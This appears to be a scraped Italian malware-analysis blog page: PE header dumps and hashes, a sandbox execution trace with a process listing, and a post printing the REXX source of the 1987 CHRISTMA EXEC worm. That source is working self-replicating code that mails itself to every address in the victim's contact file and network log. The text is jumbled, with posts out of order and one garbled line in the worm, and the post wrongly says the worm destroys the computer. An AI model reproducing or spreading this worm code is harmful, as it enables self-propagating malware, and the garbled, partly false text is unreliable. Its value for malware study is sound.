SHA-512 hash: ccf534bdf419e4438d7c73d58fb8983c772305e06f50a17309f3cea8cefeb2e91c5dc23313f58bf00ef7d54cda5a218ce0f4652f8ad4e1fc9b017642cc38937c

[IMAGE_SECTION_HEADER]
Name:                          BSS
Misc:                          0x1000   
Misc_PhysicalAddress:          0x1000   
Misc_VirtualSize:              0x1000   
VirtualAddress:                0x5000   
SizeOfRawData:                 0x0      
PointerToRawData:              0x3000   
PointerToRelocations:          0x0      
PointerToLinenumbers:          0x0      
NumberOfRelocations:           0x0      
NumberOfLinenumbers:           0x0      
Characteristics:               0xC0000000
Flags: IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
Entropy: 0.000000 (Min=0.0, Max=8.0)
MD5     hash: d41d8cd98f00b204e9800998ecf8427e
SHA-1   hash: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA-256 hash: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA-512 hash: cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

[IMAGE_SECTION_HEADER]
Name:                          .idata
Misc:                          0x1000   
Misc_PhysicalAddress:          0x1000   
Misc_VirtualSize:              0x1000   
VirtualAddress:                0x6000   
SizeOfRawData:                 0x400    
PointerToRawData:              0x3000   
PointerToRelocations:          0x0      
PointerToLinenumbers:          0x0      
NumberOfRelocations:           0x0      
NumberOfLinenumbers:           0x0      
Characteristics:               0xC0000040
Flags: IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
Entropy: 2.863761 (Min=0.0, Max=8.0)
MD5     hash: dd0227fe333799f12db8c40912ac87f3
SHA-1   hash: 9e6eef93041d9925e98569f8afb86d26e90d6b2d
SHA-256 hash: 09fc6a80318564820d39861f6c35acab2166178e03a68635e831878bd6fb3185
SHA-512 hash: d7ea609ab04d415b76eefd76494ed6f010e9acbaa104a0ae56af90bab7c0c8ad5cf3a102908c6be92dd1ad5aa0ca8cee8fc1b4232add7df3dd77f6e5a8ec4cdb

[IMAGE_SECTION_HEADER]
Name:                          .tls
Misc:                          0x1000   
Misc_PhysicalAddress:          0x1000   
Misc_VirtualSize:              0x1000   
VirtualAddress:                0x7000   
SizeOfRawData:                 0x0      
PointerToRawData:              0x3400   
PointerToRelocations:          0x0      
PointerToLinenumbers:          0x0      
NumberOfRelocations:           0x0      
NumberOfLinenumbers:           0x0      
Characteristics:               0xC0000000
Flags: IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
Entropy: 0.000000 (Min=0.0, Max=8.0)
MD5     hash: d41d8cd98f00b204e9800998ecf8427e
SHA-1   hash: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA-256 hash: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA-512 hash: cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

[IMAGE_SECTION_HEADER]
Name:                          .rdata
Misc:                          0x1000   
Misc_PhysicalAddress:          0x1000   
Misc_VirtualSize:              0x1000   
VirtualAddress:                0x8000   
SizeOfRawData:                 0x200    
PointerToRawData:              0x3400   
PointerToRelocations:          0x0      
PointerToLinenumbers:          0x0      
NumberOfRelocations:           0x0      
NumberOfLinenumbers:           0x0      
Characteristics:               0x50000040
Flags: IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
Entropy: 0.204488 (Min=0.0, Max=8.0)
MD5     hash: 3308d673b7c6e0dbe0de45bd95389f5e
SHA-1   hash: 3891e6d98accb8f59f37e1202871e632285bd61d
SHA-256 hash: d06ad14726818dcd3887a2c517b0c80416004e36b494dc5e8ff7aae2dad5b2d7
SHA-512 hash: 236bfd204d22319728ee2963ccb9dab32eeaa40c1dc262a3994065c4d656008381ee6b41931b6e3d5cf62f7e72283234befb8296281392b62cb6e950fde78ab3

[IMAGE_SECTION_HEADER]
Name:                          .rsrc
Misc:                          0x75F8   
Misc_PhysicalAddress:          0x75F8   
Misc_VirtualSize:              0x75F8   
VirtualAddress:                0x9000   
SizeOfRawData:                 0x7600   
PointerToRawData:              0x3600   
PointerToRelocations:          0x0      
PointerToLinenumbers:          0x0      
NumberOfRelocations:           0x0      
NumberOfLinenumbers:           0x0      
Characteristics:               0x50000040
Flags: IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
Entropy: 7.763448 (Min=0.0, Max=8.0)
MD5     hash: a27dd9e454ed3679608c7b136d63b8b8
SHA-1   hash: c75a8c41eaba5a9fbba2a998492868a1e30f3935
SHA-256 hash: d9762d6e2714325a4044a36618d5a9faec092aa67d64a72ce32fbef603e19fde
SHA-512 hash: e771b19b7f67af1a9475d63e905da31796c14015ac304a5a3904677ddcb2abc8e16a1c70fa0cd00ef4a38103d03accc72eae91575e663faaae7407d7a64fcce3

----------Directories----------

[IMAGE_DIRECTORY_ENTRY_EXPORT]
VirtualAddress:                0x0      
Size:                          0x0      
[IMAGE_DIRECTORY_ENTRY_IMPORT]
VirtualAddress:                0x6000   
Size:                          0x268    
[IMAGE_DIRECTORY_ENTRY_RESOURCE]
VirtualAddress:                0x9000   
Size:                          0x75F8   
[IMAGE_DIRECTORY_ENTRY_EXCEPTION]
VirtualAddress:                0x0      
Size:                          0x0      
[IMAGE_DIRECTORY_ENTRY_SECURITY]
VirtualAddress:                0x0      
Size:                          0x0      
[IMAGE_DIRECTORY_ENTRY_BASERELOC]
VirtualAddress:                0x0      
Size:                          0x0      
[IMAGE_DIRECTORY_ENTRY_DEBUG]
VirtualAddress:                0x0      
Size:                          0x0      
[IMAGE_DIRECTORY_ENTRY_COPYRIGHT]
VirtualAddress:                0x0      
Size:                          0x0      
[IMAGE_DIRECTORY_ENTRY_GLOBALPTR]
VirtualAddress:                0x0      
Size:                          0x0      
[IMAGE_DIRECTORY_ENTRY_TLS]
VirtualAddress:                0x8000   
Size:                          0x18     
[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG]
VirtualAddress:                0x0      
Size:                          0x0      
[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT]
VirtualAddress:                0x0      
Size:                          0x0      
[IMAGE_DIRECTORY_ENTRY_IAT]
VirtualAddress:                0x0      
Size:                          0x0      
[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT]
VirtualAddress:                0x0      
Size:                          0x0      
[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR]
VirtualAddress:                0x0      
Size:                          0x0      
[IMAGE_DIRECTORY_ENTRY_RESERVED]
VirtualAddress:                0x0      
Size:                          0x0      

----------Imported symbols----------

[IMAGE_IMPORT_DESCRIPTOR]
OriginalFirstThunk:            0x0      
Characteristics:               0x0      
TimeDateStamp:                 0x0        [Thu Jan  1 00:00:00 1970 UTC]
ForwarderChain:                0x0      
Name:                          0x60CC   
FirstThunk:                    0x6064   

kernel32.dll.GetCurrentThreadId Hint[0]
kernel32.dll.ExitProcess Hint[0]
kernel32.dll.RtlUnwind Hint[0]
kernel32.dll.RaiseException Hint[0]
kernel32.dll.GetCommandLineA Hint[0]
kernel32.dll.TlsSetValue Hint[0]
kernel32.dll.TlsGetValue Hint[0]
kernel32.dll.LocalAlloc Hint[0]
kernel32.dll.GetModuleHandleA Hint[0]
kernel32.dll.GetModuleFileNameA Hint[0]
kernel32.dll.FreeLibrary Hint[0]
kernel32.dll.HeapFree Hint[0]
kernel32.dll.HeapReAlloc Hint[0]
kernel32.dll.HeapAlloc Hint[0]
kernel32.dll.GetProcessHeap Hint[0]

[IMAGE_IMPORT_DESCRIPTOR]
OriginalFirstThunk:            0x0      
Characteristics:               0x0      
TimeDateStamp:                 0x0        [Thu Jan  1 00:00:00 1970 UTC]
ForwarderChain:                0x0      
Name:                          0x61C8   
FirstThunk:                    0x60A4   

user32.dll.CharNextA Hint[0]

[IMAGE_IMPORT_DESCRIPTOR]
OriginalFirstThunk:            0x0      
Characteristics:               0x0      
TimeDateStamp:                 0x0        [Thu Jan  1 00:00:00 1970 UTC]
ForwarderChain:                0x0      
Name:                          0x61E0   
FirstThunk:                    0x60AC   

kernel32.dll.LoadLibraryA Hint[0]
kernel32.dll.GetProcAddress Hint[0]
kernel32.dll.GetModuleHandleA Hint[0]
kernel32.dll.GetModuleFileNameA Hint[0]
kernel32.dll.ExitProcess Hint[0]

[IMAGE_IMPORT_DESCRIPTOR]
OriginalFirstThunk:            0x0      
Characteristics:               0x0      
TimeDateStamp:                 0x0        [Thu Jan  1 00:00:00 1970 UTC]
ForwarderChain:                0x0      
Name:                          0x6248   
FirstThunk:                    0x60C4   

ntdll.dll.RtlDecompressBuffer Hint[0]

----------Resource directory----------

[IMAGE_RESOURCE_DIRECTORY]
Characteristics:               0x0      
TimeDateStamp:                 0x0        [Thu Jan  1 00:00:00 1970 UTC]
MajorVersion:                  0x4      
MinorVersion:                  0x0      
NumberOfNamedEntries:          0x0      
NumberOfIdEntries:             0x3      
 Id: [0x3] (RT_ICON)
 [IMAGE_RESOURCE_DIRECTORY_ENTRY]
 Name:                          0x3      
 OffsetToData:                  0x80000028
   [IMAGE_RESOURCE_DIRECTORY]
   Characteristics:               0x0      
   TimeDateStamp:                 0x0        [Thu Jan  1 00:00:00 1970 UTC]
   MajorVersion:                  0x4      
   MinorVersion:                  0x0      
   NumberOfNamedEntries:          0x0      
   NumberOfIdEntries:             0x2      
     Id: [0x1]
     [IMAGE_RESOURCE_DIRECTORY_ENTRY]
     Name:                          0x1      
     OffsetToData:                  0x80000080
       [IMAGE_RESOURCE_DIRECTORY]
       Characteristics:               0x0      
       TimeDateStamp:                 0x0        [Thu Jan  1 00:00:00 1970 UTC]
       MajorVersion:                  0x4      
       MinorVersion:                  0x0      
       NumberOfNamedEntries:          0x0      
       NumberOfIdEntries:             0x2      
         [IMAGE_RESOURCE_DIRECTORY_ENTRY]
         Name:                          0x0      
         OffsetToData:                  0x100    
           [IMAGE_RESOURCE_DATA_ENTRY]
           OffsetToData:                  0x918C   
           Size:                          0x8A8    
           CodePage:                      0x4E4    
           Reserved:                      0x0      
         [IMAGE_RESOURCE_DIRECTORY_ENTRY]
         Name:                          0xC0C    
         OffsetToData:                  0x110    
           [IMAGE_RESOURCE_DATA_ENTRY]
           OffsetToData:                  0x9A34   
           Size:                          0x2E8    
           CodePage:                      0x4E4    
           Reserved:                      0x0      
     Id: [0x2]
     [IMAGE_RESOURCE_DIRECTORY_ENTRY]
     Name:                          0x2      
     OffsetToData:                  0x800000A0
       [IMAGE_RESOURCE_DIRECTORY]
       Characteristics:               0x0      
       TimeDateStamp:                 0x0        [Thu Jan  1 00:00:00 1970 UTC]
       MajorVersion:                  0x4      
       MinorVersion:                  0x0      
       NumberOfNamedEntries:          0x0      
       NumberOfIdEntries:             0x1      
         [IMAGE_RESOURCE_DIRECTORY_ENTRY]
         Name:                          0xC0C    
         OffsetToData:                  0x120    
           [IMAGE_RESOURCE_DATA_ENTRY]
           OffsetToData:                  0x9D1C   
           Size:                          0x128    
           CodePage:                      0x4E4    
           Reserved:                      0x0      

 Id: [0xA] (RT_RCDATA)
 [IMAGE_RESOURCE_DIRECTORY_ENTRY]
 Name:                          0xA      
 OffsetToData:                  0x80000048
   [IMAGE_RESOURCE_DIRECTORY]
   Characteristics:               0x0      
   TimeDateStamp:                 0x0        [Thu Jan  1 00:00:00 1970 UTC]
   MajorVersion:                  0x4      
   MinorVersion:                  0x0      
   NumberOfNamedEntries:          0x2      
   NumberOfIdEntries:             0x0      
     Name: [DVCLAL]
     [IMAGE_RESOURCE_DIRECTORY_ENTRY]
     Name:                          0x80000160
     OffsetToData:                  0x800000B8
       [IMAGE_RESOURCE_DIRECTORY]
       Characteristics:               0x0      
       TimeDateStamp:                 0x0        [Thu Jan  1 00:00:00 1970 UTC]
       MajorVersion:                  0x4      
       MinorVersion:                  0x0      
       NumberOfNamedEntries:          0x0      
       NumberOfIdEntries:             0x1      
         [IMAGE_RESOURCE_DIRECTORY_ENTRY]
         Name:                          0x0      
         OffsetToData:                  0x130    
           [IMAGE_RESOURCE_DATA_ENTRY]
           OffsetToData:                  0x9E44   
           Size:                          0x10     
           CodePage:                      0x4E4    
           Reserved:                      0x0      
     Name: [KYNC]
     [IMAGE_RESOURCE_DIRECTORY_ENTRY]
     Name:                          0x8000016E
     OffsetToData:                  0x800000D0
       [IMAGE_RESOURCE_DIRECTORY]
       Characteristics:               0x0      
       TimeDateStamp:                 0x0        [Thu Jan  1 00:00:00 1970 UTC]
       MajorVersion:                  0x4      
       MinorVersion:                  0x0      
       NumberOfNamedEntries:          0x0      
       NumberOfIdEntries:             0x1      
         [IMAGE_RESOURCE_DIRECTORY_ENTRY]
         Name:                          0x0      
         OffsetToData:                  0x140    
           [IMAGE_RESOURCE_DATA_ENTRY]
           OffsetToData:                  0x9E54   
           Size:                          0x677E   
           CodePage:                      0x4E4    
           Reserved:                      0x0      

 Id: [0xE] (RT_GROUP_ICON)
 [IMAGE_RESOURCE_DIRECTORY_ENTRY]
 Name:                          0xE      
 OffsetToData:                  0x80000068
   [IMAGE_RESOURCE_DIRECTORY]
   Characteristics:               0x0      
   TimeDateStamp:                 0x0        [Thu Jan  1 00:00:00 1970 UTC]
   MajorVersion:                  0x4      
   MinorVersion:                  0x0      
   NumberOfNamedEntries:          0x1      
   NumberOfIdEntries:             0x0      
     Name: [MAINICON]
     [IMAGE_RESOURCE_DIRECTORY_ENTRY]
     Name:                          0x80000178
     OffsetToData:                  0x800000E8
       [IMAGE_RESOURCE_DIRECTORY]
       Characteristics:               0x0      
       TimeDateStamp:                 0x0        [Thu Jan  1 00:00:00 1970 UTC]
       MajorVersion:                  0x4      
       MinorVersion:                  0x0      
       NumberOfNamedEntries:          0x0      
       NumberOfIdEntries:             0x1      
         [IMAGE_RESOURCE_DIRECTORY_ENTRY]
         Name:                          0xC0C    
         OffsetToData:                  0x150    
           [IMAGE_RESOURCE_DATA_ENTRY]
           OffsetToData:                  0x105D4  
           Size:                          0x22     
           CodePage:                      0x4E4    
           Reserved:                      0x0      


----------TLS----------

[IMAGE_TLS_DIRECTORY]
StartAddressOfRawData:         0x407000 
EndAddressOfRawData:           0x407004 
AddressOfIndex:                0x40510C 
AddressOfCallBacks:            0x408010 
SizeOfZeroFill:                0x0      
Characteristics:               0x0

Detected trick isDebuggerPresent (Generic debugger detection)

source shoot christmas tree virus

2009-10-02T05:16:00.000-07:00

Questo vecchissimo Virus scritto in REXX ha paralizzato diversi nodi
nel lontano 1987 quando io avevo pressapoco 3 anni.
Molto simile al Virus I LOVE YOU lancia a schermo la figura di un
albero di natale in ascii per poi spedirsi via mail e distruggere il
computer.

/*********************/
/*    LET THIS EXEC  */
/*             */
/*      RUN         */
/*             */
/*      AND         */
/*             */
/*     ENJOY         */
/*             */
/*     YOURSELF!     */
/*********************/
'VMFCLEAR'
SAY '                *               '
SAY '                *               '
SAY '               ***              '
SAY '              *****             '
SAY '             *******            '
SAY '            *********           '
SAY '          *************                A'
SAY '             *******            '
SAY '           ***********                VERY'
SAY '         ***************        '
SAY '       *******************            HAPPY'
SAY '           ***********          '
SAY '         ***************            CHRISTMAS'
SAY '       *******************      '
SAY '     ***********************         AND MY'
SAY '         ***************        '
SAY '       *******************         BEST WISHES'
SAY '     ***********************    '
SAY '   ***************************     FOR THE NEXT'
SAY '             ******             '
SAY '             ******                    YEAR'
SAY '             ******               '
/*     browsing this file is no fun at all
   just type CHRISTMAS from cms */
dropbuf
makebuf
"q t (stack"
pull d1 d2 d3 d4 d5 dat
pull zeile
jeah = substr(dat,7,2)
tack = substr(dat,4,2)
mohn = substr(dat,1,2)
if jeah <= 88 then do if mohn <2 mohn =" 12"> 0
PULL NICK NAME ORT
NAM = INDEX(NAME,'.')+1
IF NAM > 0 THEN DO
   NAME = SUBSTR(NAME,NAM)
END
NAM = INDEX(ORT,'.')+1
IF NAM > 0 THEN DO
   ORT  = SUBSTR(ORT,NAM)
END
IF LENGTH(NAME)>0 THEN DO
   IF LENGTH(ORT) = 0 THEN DO
  ORT = WO
   END
   if name ^= "RELAY" then do
   "SF CHRISTMAS EXEC A " NAME " AT " ORT " (ack"
   end
END
END
DROPBUF
MAKEBUF
ANZ = 1
"EXECIO * DISKR " WER " NETLOG A (FIFO"
DO WHILE QUEUED() > 0
PULL KIND FN FT FM ACT FROM ID AT NODE REST
IF ACT = 'SENT'  THEN DO
   IF ANZ = 1 THEN DO
 OK.ANZ = ID
   END
   IF ANZ > 1 THEN DO
 OK.ANZ = ID
 NIXIS = 0
 DO I = 1 TO ANZ-1
    IF OK.I = ID THEN DO
       NIXIS = 1
    END
 END
   END
   ANZ = ANZ + 1
   IF NIXIS = 0 THEN DO
   "SF CHRISTMAS EXEC A " ID " AT " NODE " (ack"
   END
END
END
DROPBUF
END
end
end

2009-10-01T20:00:00.001-07:00

Report:

Code:


0009:Starting process L"Z:\\tmp\\vir\\e00fd6129b643e8c576dbf03a6b662e9\\malware.exe" (entryproc=0x409600)
0009:Call KERNEL32.GetCommandLineA() ret=004096a3
0009:Call KERNEL32.VirtualAlloc(00000000,00117674,00001000,00000040) ret=00409a05
0009:Call ntdll.NtAllocateVirtualMemory(ffffffff,0032f174,00000000,0032f188,00001000,00000040) ret=7b899a09
0009:Call ntdll.LdrShutdownProcess() ret=7b892042
0009:Call PE DLL (proc=0x7b8a12c0,module=0x7b820000 L"KERNEL32.dll",reason=PROCESS_DETACH,res=0x1)
0009:Call PE DLL (proc=0x7bc77530,module=0x7bc10000 L"ntdll.dll",reason=PROCESS_DETACH,res=0x1)
000b:Call KERNEL32.ExitProcess(00000000) ret=7efa8555
000b:Call ntdll.LdrShutdownProcess() ret=7b87302f
000b:Call PE DLL (proc=0x7ef84910,module=0x7ef50000 L"advapi32.dll",reason=PROCESS_DETACH,res=0x1)
000b:Call PE DLL (proc=0x7b8a12c0,module=0x7b820000 L"KERNEL32.dll",reason=PROCESS_DETACH,res=0x1)
000b:Call PE DLL (proc=0x7bc77530,module=0x7bc10000 L"ntdll.dll",reason=PROCESS_DETACH,res=0x1)
000b:Call ntdll.NtTerminateProcess(ffffffff,00000000) ret=7b87303f
000d:Call ntdll.NtClose(00000038) ret=7b873a45
000d:Call advapi32.RegCloseKey(00000020) ret=7efa6f7a
000d:Call ntdll.NtClose(00000020) ret=7eed68e8
000d:Call KERNEL32.ExitProcess(00000000) ret=7efac805
000d:Call ntdll.LdrShutdownProcess() ret=7b87302f
000d:Call PE DLL (proc=0x7ef7c420,module=0x7ef40000 L"rpcrt4.dll",reason=PROCESS_DETACH,res=0x1)
000d:Call PE DLL (proc=0x7ef29b90,module=0x7ef20000 L"iphlpapi.dll",reason=PROCESS_DETACH,res=0x1)
000d:Call PE DLL (proc=0x7eeee910,module=0x7eec0000 L"advapi32.dll",reason=PROCESS_DETACH,res=0x1)
000d:Call PE DLL (proc=0x7b8a12c0,module=0x7b820000 L"KERNEL32.dll",reason=PROCESS_DETACH,res=0x1)
000d:Call PE DLL (proc=0x7bc77530,module=0x7bc10000 L"ntdll.dll",reason=PROCESS_DETACH,res=0x1)
000d:Call ntdll.NtTerminateProcess(ffffffff,00000000) ret=7b87303f
malware   1966  1965  0 04:29 ?        00:00:00 /bin/sh /usr/bin/xvfb-run /home/malware/bin/malware_launcher.sh /tmp/vir/e00fd6129b643e8c576dbf03a6b662e9/malware.exe 30 /tmp/vir/e00fd6129b643e8c576dbf03a6b662e9/dump 1
malware   1979  1966  0 04:29 ?        00:00:00 /bin/sh /home/malware/bin/malware_launcher.sh /tmp/vir/e00fd6129b643e8c576dbf03a6b662e9/malware.exe 30 /tmp/vir/e00fd6129b643e8c576dbf03a6b662e9/dump 1
malware   1997  1979  0 04:30 ?        00:00:00 grep .exe
Dumping the process memory for child processes...
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 03:53 ?        00:00:07 init [2]
root         2     1  0 03:53 ?        00:00:00 [migration/0]
root         3     1  0 03:53 ?        00:00:00 [ksoftirqd/0]
root         4     1  0 03:53 ?        00:00:00 [events/0]
root         5     1  0 03:53 ?        00:00:00 [khelper]
root         6     1  0 03:53 ?        00:00:00 [kthread]
root         9     6  0 03:53 ?        00:00:00 [kblockd/0]
root        10     6  0 03:53 ?        00:00:00 [kacpid]
root        76     6  0 03:53 ?        00:00:00 [kseriod]
root       112     6  0 03:53 ?        00:00:00 [pdflush]
root       113     6  0 03:53 ?        00:00:00 [pdflush]
root       114     6  0 03:53 ?        00:00:00 [kswapd0]
root       115     6  0 03:53 ?        00:00:00 [aio/0]
root       810     6  0 03:54 ?        00:00:00 [kjournald]
root       966     1  0 03:54 ?        00:00:01 udevd --daemon
root      1238     6  0 03:55 ?        00:00:00 [kpsmoused]
root      1519     6  0 03:55 ?        00:00:00 [kmirrord]
root      1652     1  0 03:55 ?        00:00:00 dhclient3 -pf /var/run/dhclient.eth0.pid -lf /var/lib/dhcp3/dhclient.eth0.leases eth0
root      1851     1  0 03:56 ?        00:00:00 /sbin/syslogd
root      1857     1  0 03:56 ?        00:00:00 /sbin/klogd -x
root      1879     1  0 03:56 ?        00:00:00 /usr/sbin/sshd
root      1897     1  0 03:56 ?        00:00:00 /usr/sbin/cron
malware   1919     1  0 03:56 ?        00:00:00 boa -c /home/malware/zerowine/
root      1931     1  0 03:56 tty1     00:00:00 /bin/login -- 
root      1932     1  0 03:56 tty2     00:00:00 /sbin/getty 38400 tty2
root      1933     1  0 03:56 tty3     00:00:00 /sbin/getty 38400 tty3
root      1934     1  0 03:56 tty4     00:00:00 /sbin/getty 38400 tty4
root      1935     1  0 03:56 tty5     00:00:00 /sbin/getty 38400 tty5
root      1939     1  0 03:56 tty6     00:00:00 /sbin/getty 38400 tty6
root      1949  1931  0 04:00 tty1     00:00:00 -bash
root      1959  1949  0 04:00 tty1     00:00:00 hd
malware   1965  1919  6 04:29 ?        00:00:02 /usr/bin/python /home/malware/zerowine/cgi-bin/upload.py
malware   1966  1965  0 04:29 ?        00:00:00 /bin/sh /usr/bin/xvfb-run /home/malware/bin/malware_launcher.sh /tmp/vir/e00fd6129b643e8c576dbf03a6b662e9/malware.exe 30 /tmp/vir/e00fd6129b643e8c576dbf03a6b662e9/dump 1
malware   1977  1966 13 04:29 ?        00:00:04 Xvfb :99 -screen 0 640x480x8 -nolisten tcp
malware   1979  1966  0 04:29 ?        00:00:00 /bin/sh /home/malware/bin/malware_launcher.sh /tmp/vir/e00fd6129b643e8c576dbf03a6b662e9/malware.exe 30 /tmp/vir/e00fd6129b643e8c576dbf03a6b662e9/dump 1
malware   1998  1979  0 04:30 ?        00:00:00 ps -edf
Dumping proc 1966
['/home/malware/bin/dump_process.py', '1966', '/tmp/vir/e00fd6129b643e8c576dbf03a6b662e9/dump-1966']
*** Searching for process 'dump1'
Dumping proc 1979
['/home/malware/bin/dump_process.py', '1979', '/tmp/vir/e00fd6129b643e8c576dbf03a6b662e9/dump-1979']
*** Searching for process 'dump1'
Dumping proc 1999
['/home/malware/bin/dump_process.py', '1999', '/tmp/vir/e00fd6129b643e8c576dbf03a6b662e9/dump-1999']
Traceback (most recent call last):
File "/home/malware/bin/dump_process.py", line 150, in 
main(int(sys.argv[1]), sys.argv[2])
File "/home/malware/bin/dump_process.py", line 134, in main
dbg.addProcess(pid, False)
File "/usr/lib/python2.5/site-packages/ptrace/debugger/debugger.py", line 74, in addProcess
process = PtraceProcess(self, pid, is_attached, parent=parent)
File "/usr/lib/python2.5/site-packages/ptrace/debugger/process.py", line 165, in __init__
self.attach()
File "/usr/lib/python2.5/site-packages/ptrace/debugger/process.py", line 182, in attach
ptrace_attach(self.pid)
File "/usr/lib/python2.5/site-packages/ptrace/binding/func.py", line 155, in ptrace_attach
ptrace(PTRACE_ATTACH, pid)
File "/usr/lib/python2.5/site-packages/ptrace/binding/func.py", line 148, in ptrace
raise PtraceError(message, errno=errno, pid=pid)
ptrace.error.PtraceError: ptrace(cmd=16, pid=1999, 0, 0) error #3: No such process

----------DOS_HEADER----------

[IMAGE_DOS_HEADER]
e_magic: 0x5A4D
e_cblp: 0x90
e_cp: 0x3
e_crlc: 0x0
e_cparhdr: 0x4
e_minalloc: 0x0
e_maxalloc: 0xFFFF
e_ss: 0x0
e_sp: 0xB8
e_csum: 0x0
e_ip: 0x0
e_cs: 0x0
e_lfarlc: 0x40
e_ovno: 0x0
e_res:
e_oemid: 0x0
e_oeminfo: 0x0
e_res2:
e_lfanew: 0xE0

----------NT_HEADERS----------

[IMAGE_NT_HEADERS]
Signature: 0x4550

----------FILE_HEADER----------

[IMAGE_FILE_HEADER]
Machine: 0x14C
NumberOfSections: 0x3
TimeDateStamp: 0x44D8240C [Tue Aug 8 05:41:32 2006 UTC]
PointerToSymbolTable: 0x0
NumberOfSymbols: 0x0
SizeOfOptionalHeader: 0xE0
Characteristics: 0x10F
Flags: IMAGE_FILE_LOCAL_SYMS_STRIPPED, IMAGE_FILE_32BIT_MACHINE, IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_LINE_NUMS_STRIPPED, IMAGE_FILE_RELOCS_STRIPPED

----------OPTIONAL_HEADER----------

[IMAGE_OPTIONAL_HEADER]
Magic: 0x10B
MajorLinkerVersion: 0x6
MinorLinkerVersion: 0x0
SizeOfCode: 0xA000
SizeOfInitializedData: 0x3A000
SizeOfUninitializedData: 0x0
AddressOfEntryPoint: 0x9600
BaseOfCode: 0x1000
BaseOfData: 0xB000
ImageBase: 0x400000
SectionAlignment: 0x1000
FileAlignment: 0x1000
MajorOperatingSystemVersion: 0x4
MinorOperatingSystemVersion: 0x0
MajorImageVersion: 0x0
MinorImageVersion: 0x0
MajorSubsystemVersion: 0x4
MinorSubsystemVersion: 0x0
Reserved1: 0x0
SizeOfImage: 0x45000
SizeOfHeaders: 0x1000
CheckSum: 0x52D15
Subsystem: 0x2
DllCharacteristics: 0x0
SizeOfStackReserve: 0x100000
SizeOfStackCommit: 0x1000
SizeOfHeapReserve: 0x100000
SizeOfHeapCommit: 0x1000
LoaderFlags: 0x0
NumberOfRvaAndSizes: 0x10
DllCharacteristics:

----------PE Sections----------

[IMAGE_SECTION_HEADER]
Name: .text
Misc: 0x91C0
Misc_PhysicalAddress: 0x91C0
Misc_VirtualSize: 0x91C0
VirtualAddress: 0x1000
SizeOfRawData: 0xA000
PointerToRawData: 0x1000
PointerToRelocations: 0x0
PointerToLinenumbers: 0x0
NumberOfRelocations: 0x0
NumberOfLinenumbers: 0x0
Characteristics: 0x60000020
Flags: IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Entropy: 5.694083 (Min=0.0, Max=8.0)
MD5 hash: 1f1847d78fb8eaefc24c80ae1c21fa5a
SHA-1 hash: 747a1a9039d3573bcdbd511b32c55b94fe4b5508
SHA-256 hash: daa9a356f1aa9e1960e9d30140154dcb1d6ce661f41a3007b3ee1d517832d627
SHA-512 hash: 409d81a78d4218905cdb5f25d97487e5efbebf6162adc4335f626cc25f91abb5c7d7731f6d5a35debf118d412e07faea3b0b602de4dd24ebbaf1b42351fb4987

[IMAGE_SECTION_HEADER]
Name: .data
Misc: 0x387B8
Misc_PhysicalAddress: 0x387B8
Misc_VirtualSize: 0x387B8
VirtualAddress: 0xB000
SizeOfRawData: 0x39000
PointerToRawData: 0xB000
PointerToRelocations: 0x0
PointerToLinenumbers: 0x0
NumberOfRelocations: 0x0
NumberOfLinenumbers: 0x0
Characteristics: 0xC0000040
Flags: IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
Entropy: 6.597233 (Min=0.0, Max=8.0)
MD5 hash: dc7c0a1442d1b0516c6a1c10772a2567
SHA-1 hash: 4d4ee9200bce670e641b223c7864c2e4691f9c94
SHA-256 hash: f3ba616d69921d0f693b706af198014284e2eccdfdeb659328d878e791d66539
SHA-512 hash: 4a51f5b57a8257f8cfb80b06a557fdf8e59d3f8318d08b0c84b82d9aa79a79a73c9e063136c7fe136425332a2281b4a1905c3ece29857d6d7598ff5fba447fe2

[IMAGE_SECTION_HEADER]
Name: .rsrc
Misc: 0xF38
Misc_PhysicalAddress: 0xF38
Misc_VirtualSize: 0xF38
VirtualAddress: 0x44000
SizeOfRawData: 0x1000
PointerToRawData: 0x44000
PointerToRelocations: 0x0
PointerToLinenumbers: 0x0
NumberOfRelocations: 0x0
NumberOfLinenumbers: 0x0
Characteristics: 0x40000040
Flags: IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
Entropy: 3.197878 (Min=0.0, Max=8.0)
MD5 hash: 32e09078b595d43301476cbfe9c9293b
SHA-1 hash: 6fa704dd2933091916f9c962bca5130cbb3b0710
SHA-256 hash: 9abac1c2e38c96758080e677ced0b28d7cec818afb81102ddc3744d7e4f0dcf5
SHA-512 hash: 5917ea794d43728b86c988d835cbe3eb51faf7f62b5cb4a16d271b7ca4169fec8241afd32cb720b0f39cd5edaae62d40a52796827d27b08fe7b6dd00f99714be

----------Directories----------

[IMAGE_DIRECTORY_ENTRY_EXPORT]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_IMPORT]
VirtualAddress: 0x435DC
Size: 0x28
[IMAGE_DIRECTORY_ENTRY_RESOURCE]
VirtualAddress: 0x44000
Size: 0xF38
[IMAGE_DIRECTORY_ENTRY_EXCEPTION]
VirtualAddress: 0x0
Size: 0x0
